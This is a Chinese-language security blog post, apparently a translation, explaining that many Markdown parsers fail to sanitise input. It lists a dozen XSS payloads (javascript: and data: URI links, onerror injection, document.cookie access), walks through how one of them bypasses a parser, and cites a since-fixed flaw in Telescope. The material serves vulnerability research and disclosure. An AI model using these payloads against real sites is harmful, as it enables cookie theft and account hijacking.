Markdown是一种轻量级的标记语言,流行程度已经得到了GitHub和Stack Overflow的广泛支持,作为普通人我们也可以轻松上手。
用markdown来写文章非常赞,那些琐碎的HTML标签都可以抛到脑后不用管。最近5年内,markdown收到非常多的关注,包括Reddit,Github,StackOverflow在内的很多应用都使用 markdown这也催生了很多的markdown解析器的产生, 这里 定义了一些markdown语法,语法约定markdown解析器将这些标签解析为html标签。
事实上,很多markdown解析器都没有过滤用户输入的数据,那么如果markdown被用于添加用户评论等功能的时候,就有可能存在安全风险。
这里有一些关于这个问题的讨论: [1] , [2] , [3] .
markdown xss issue site:github.com
你就会发现github上又很多星级很高的项目都被发现存在XSS 漏洞。
所以,如何构造一些payload呢?看下面这些:
[a](javascript:prompt(document.cookie)) [a](j a v a s c r i p t:prompt(document.cookie)) ![a](javascript:prompt(document.cookie))/ <javascript:prompt(document.cookie)> <javascript:alert('XSS')> ![a](data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K)/ [a](data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K) [a](javascript:alert('XSS')) ![a'"`onerror=prompt(document.cookie)](x)/ [citelol]: (javascript:prompt(document.cookie)) [notmalicious](javascript:window.onerror=alert;throw%20document.cookie) [test](javascript://%0d%0aprompt(1)) [test](javascript://%0d%0aprompt(1);com)
上面这些payload是由 Aleksa 和原文作者一起搞出来的。在过去的12个月内,在实际渗透测试中证明,上面的这些 payload 是有效的。并且很多 markdown 解析器都受到影响。来看一下最后一个payload:
[test](javascript://%0d%0aprompt(1);com)
我们猜测,markdown 解析器可能通过如下几个步骤来进行解析&转换:
判断时候有协议头?//有javascript 伪协议,Y
hostname 是以常见的域名后缀(com, org)结尾的?//是的,以 com 结尾 Y
将上述 payload 转换为 HTML 标签,//结果如下
<a href="javascript://%0d%0aprompt(1);com>test</a>
Telescope 是一个有名的开源项目,类似Reddit和Hackernews一样,提供一个社区功能。Telescope的一个解析帖子&评论的功能存在 XSS 漏洞,并且这个功能存在很久了!
在0.9.3之前的版本中,以上面的 payload 列表中的 payload 发帖或者发表评论,就可以导致一个XSS漏洞。该漏洞已经修复,Telescope在这里发了changelog:http://www.telesc.pe/blog/telescope-v093-dailyscope/
[notmalicious](javascript:window.onerror=alert;throw%20document.cookie)[a](data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K)